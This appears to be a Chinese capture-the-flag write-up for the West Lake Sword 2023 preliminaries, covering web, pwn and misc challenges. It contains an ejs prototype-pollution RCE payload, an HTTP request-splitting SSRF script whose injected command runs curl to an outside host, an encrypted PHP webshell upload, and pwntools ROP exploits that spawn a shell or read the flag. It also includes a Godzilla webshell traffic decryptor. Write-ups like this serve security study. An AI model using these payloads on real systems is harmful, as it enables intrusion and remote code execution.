西湖论剑 2023 预赛 writeup

西湖论剑 2023 预赛 writeup

WEB

Web1

[nodejs|原型链污染|ejs|拆分攻击]

前言

主要是node 8.12.0的一个http.get解析洞,通过拆分攻击实现的SSRF攻击

和ejs RCE+safeobj原型链污染(CVE-2021-25928)

查了下这种属于拆分攻击(HTTP Splitting),和请求走私(HTTP Smuggling)有点区别。

RCE

这里一开始挺简单,有个safeobj包,一看safeobj.expand(),游戏结束。

拿着POC测试了下环境,通过。

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

网上有很多payload,以下两个都可以,后面的字样无所谓,主要是_tmp1;前面一定要有填充字符。

1
2
{"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('calc')"}
{"constructor.prototype.outputFunctionName":"_tmp1;glabol.process.mainModule.require('child_process').exec('calc')"}

由于自作聪明,将_tmp1;填充数据删除,本地弹了计算器,打远程靶机失败。

拆分攻击

在这里浪费了很多时间,折腾几个小时发现原来是本地node版本忘记换了。

可以用nc看包的形状,方便构造

比如先这么构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib.parse

payload = ''' HTTP/1.1

GET /copy HTTP/1.1
Host: 127.0.0.1:8001
'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret


payload = payload_encode(payload)
print(payload)
#ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ

然后nodejs执行

1
2
3
4
const http = require('http')
url = "http://127.0.0.1:8000/?q="
q = "ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ"
http.get(url + q)

会发现nc -lvvp 8000收到包请求。(注意,此时8001端口不会收到请求,因为没有东西去处理第二个包!!!!!!!在这又浪费好多时间)

此时就可以根据包情况调整,显然上方的包缺了个GET /加上去后如下:

掌握该技巧可以便于HTTP走私/HTTP拆分构造,当然第三个请求可以直接用Connection: close处理。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 151

{"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('curl https://as564d1gads.free.beeceptor.com/1')"}
'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret


payload = payload_encode(payload)

r = requests.get('http://127.0.0.1:3000/curl?q=' + urllib.parse.quote(payload))
print(r.text)
注意点

1.直接给/copy发包,会弹计算器。但是通过拆分攻击不会!因此浪费一个下午!

其实问题还是在于出现访问/?q=的请求,以为请求包构造有误。

2.第二个请求中的HOST无论是Host: 127.0.0.1还是Host: 127.0.0.1:3000皆测试通过,原因未知。

3.网上文章有关以下两段payload编码方案说是等价,实测第一种无法命令执行(nc查看包,拆分无误),在这个地方又浪费好多时间。

1
2
3
4
5
6
7
8
9
10
11
12
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d')
1
2
3
4
5
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret

4.Content-Length如果和请求体长度相差较大会有影响,相差一两个无所谓。所以尽量还是精准计算。

5.第二个请求加上Connection: close就不需要闭合后面的请求。经过多次测试,目前不加Connection: close而去闭合第三个请求暂未成功。

Web3

这题有点奇怪,上来上传文件,提示multipart/form-data,随便改了下大小写,给flag了。

Web5

能任意读文件,先试试读 flag,发现是权限不够。

能上传文件,嵌入 html

1
2
3
4
5
<form enctype="multipart/form-data" method="post" action="/?a=upload">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="file"/>
<input class="button" type="submit" name="submit" value="上传" />
</form>

发现上传 php 之后无法解析,那么只能看看它是不是装了一些扩展,有一个 zend_test,直接去下载它的 so 源码。

1
2
3
4
5
6
7
8
9
10
11
from requests import *
url='http://80.endpoint-ac92aedd97164b2c88bc90db78453a9d.m.ins.cloud.dasctf.com:81/?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so'
p=get(url)

s=p.content
s=s[s.find(b'\x7fELF'):]
f=open('zend.so','wb+')

f.write(s)
f.close()

ida逆向一下,发现它对文件进行了 RC4 加密,key是 abcsdfadfjiweur,那么我也想着对我们的 php 文件进行 RC4 加密之后丢上去。

发现成功解析,直接上蚁剑,但是 flag 还是不能读,还以为要内核cve,后来发现 sudo 改了权限可以直接读。

Web6

[nodejs]

flag1毫无难度

flag2要求验证checkcode,长度为16,且checkcode==aGr5AtSp55dRacer

image-20230202203835964

因为有个大小写转换函数toLowerCase(),所以无法直接匹配

根据js弱类型判定

1
2
3
var obj = ["1"]
console.log(typeof obj);//object
console.log(obj == "1");//true

所以输个字符串数组即可。

1
"a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"

PWN

baby calc

利用 off by null 漏洞和变量覆盖,修改 i 到返回地址,把返回指令修改成 leave ret 进行栈迁移。提前布置好 rop 链,第一次泄露地址,第二次 getshell。

因为某个函数调用存在栈对齐,因此返回 main 的时候要往后移一个字节少 push 一个寄存器。

返回的时候有一个数字判断,这个直接算然后一次填充完就好了。

z3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *
s=Solver()
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18')
s.add(v3==19)
s.add(v5 * v4 * v3 - v6 == 36182)
s.add( v5 * 19 * v4 + v6 == 36322)
s.add( (v13 + v3 - v8) * v16 == 32835)
s.add( (v4 * v3 - v5) * v6 == 44170)
s.add( (v5 + v4 * v3) * v6 == 51590)
s.add( v9 * v8 * v7 - v10 == 61549)
s.add( v10 * v15 + v4 + v18 == 19037)
s.add( v9 * v8 * v7 + v10 == 61871)
s.add( (v8 * v7 - v9) * v10 == 581693)
s.add( v11 == 50)
s.add( (v9 + v8 * v7) * v10 == 587167)
s.add( v13 * v12 * v11 - v14 == 1388499)
s.add( v13 * v12 * v11 + v14 == 1388701)
s.add( (v12 * v11 - v13) * v14 == 640138)
s.add( (v11 * v5 - v16) * v12 == 321081)
s.add( (v13 + v12 * v11) * v14 == 682962)
s.add( v17 * v16 * v15 - v18 == 563565)
s.add( v17 * v16 * v15 + v18 == 563571)
s.add( v14 == 101)
s.add( (v16 * v15 - v17) * v18 == 70374)
s.add( (v17 + v16 * v15) * v18 == 70518 )
print(s.check())
print(s.model())

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'

pop_rdi=0x0000000000400ca3
main=0x400c1a
sh=0
sys=0
def conn(x,filename):
if x:
p=process(filename)
else:
p=remote('tcp.cloud.dasctf.com',22391)
return p,ELF(filename),ELF('./libc/libc-2.23-64.so')
def sendnum(x,offset,flag):
p.recvuntil(b':')
payload=str(x).encode()
payload=payload.ljust(0x8,b'\0')
payload+=p64(0x400c19)*(25-4)
if flag==0:
payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main+1)
else:
payload+=p64(pop_rdi)+p64(sh)+p64(sys)+p64(main+1)
payload+=buf
payload=payload.ljust(0xf8+4,b'e')
payload+=p32(offset)
p.send(payload)
v12 = 131
v6 = 70
v10 = 161
v16 = 199
v18 = 3
v3 = 19
v5 = 53
v13 = 212
v7 = 55
v9 = 17
v11 = 50
v17 = 24
v4 = 36
v14 = 101
v15 = 118
v8 = 66
buf=p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)
p,elf,libc=conn(0,'./babycalc')
#for i in range(14):
sendnum(0x18,0x38,0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-libc.sym['puts']
success('libc_addr: '+hex(libc_addr))
sh=libc_addr+libc.search(b'/bin/sh').__next__()
sys=libc_addr+libc.sym['system']
#gdb.attach(p,'b *0x400bb8')
sendnum(0x18,0x38,1)
p.interactive()

因为栈地址不确定,所以exp有概率失败,在上面填充很多 ret 增加成功率,地址泄露题目版本为 2.23-0ubuntu11.3

Message

先利用格式化字符串漏洞泄露栈地址和堆地址,然后利用栈迁移 orw 去读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level='debug'
leave=0x00000000004012e1
pop_rdi=0x0000000000401413
def conn(x,filename):
if x:
p=process(filename)
libc=ELF('./libc-2.31.so')
else:
p=remote('tcp.cloud.dasctf.com',20585)
libc=ELF('./libc-2.31.so')
return p,ELF(filename),libc
p,elf,libc=conn(0,'./pwn')
p.sendafter(b'name:','%p%24$p')

p.recvuntil('0x')
stack_addr=int(p.recv(12),16)+0xc0
success('libc_addr: '+hex(stack_addr))

p.recvuntil('0x')
libc_addr=int(p.recv(12),16)-0x1f42e8+0x3000
success('libc_addr: '+hex(libc_addr))

pop_rsi=libc_addr+0x000000000002601f
pop_rdx=libc_addr+0x0000000000142c92
op=libc.sym['open']+libc_addr
wr=libc.sym['write']+libc_addr
flag=stack_addr-0xb0


payload=(b'/flag\0\0\0'+\
p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(op)+\
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])+\
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(wr)).ljust(0xb0,b'a')+p64(stack_addr-0xb0)+p64(leave)

#gdb.attach(p)
p.sendafter(b'DASCTF:',payload)


p.interactive()

MISC

签到题喵

图片后面有一串多余的字符串,拿出来转换一下

然后获得flag

mp3

方向错了,一开始以为是频谱隐写,结合文件名cihper,Windows的确有个cipher.exe的工具,但是只是一个文件加密工具,把能试的工具都试了一遍,发现foremost分离出一张图片

zsteg看出有个通道有zip文件,提取一下

但发现解压需要密码,密码一定藏在文件里

这时候想到mp3隐写有个对口工具了,在wav压缩到到mp3的过程中隐藏数据

拿到这一串,应该就是压缩包密码了(好险,这要是暴力破解得跑到什么时候

mp7

解压得到这么一串,感觉没什么头绪,mp3文件名意为密码,应该需要解码,但加密方式那么多,到底是哪个

在工具中搜索47发现有个rot47匹配,解密出来也是一大串

同队大佬提醒这个很像某脚本或者命令(难道是因为后面有分号吗

在各种编程软件和命令行里奔跑一下,最后在控制台得出结果

take_the_zip_easy

压缩包是加密的,压缩包内有一个和流量包名字相同的压缩包

确定是明文攻击,上工具

然后用密钥把文件取出来

检查发现http中含有post请求,筛选一下发现对upload有上传文件操作,把文件提取出来

发现有个瞩目的zip文件,结合题目名称,此压缩文件内含flag,但压缩包是加密的

尝试了各种压缩包解密,都行不通,检查流量包的时候发现有冰蝎和哥斯拉流量的弱标志,逐个仔细检查发现是哥斯拉流量加密

用脚本解密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';

echo encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key);

?>

得到压缩包密码airDAS1231qaSW@,解压一下拿到flag,使用记事本打开就拿到了结果

文章目录
  1. 1. WEB
    1. 1.1. Web1
      1. 1.1.1. 前言
      2. 1.1.2. RCE
      3. 1.1.3. 拆分攻击
        1. 1.1.3.1. 注意点
    2. 1.2. Web3
    3. 1.3. Web5
    4. 1.4. Web6
  2. 2. PWN
    1. 2.1. baby calc
      1. 2.1.1. z3:
      2. 2.1.2. exp:
    2. 2.2. Message
  3. 3. MISC
    1. 3.1. 签到题喵
    2. 3.2. mp3
  4. 4. take_the_zip_easy
|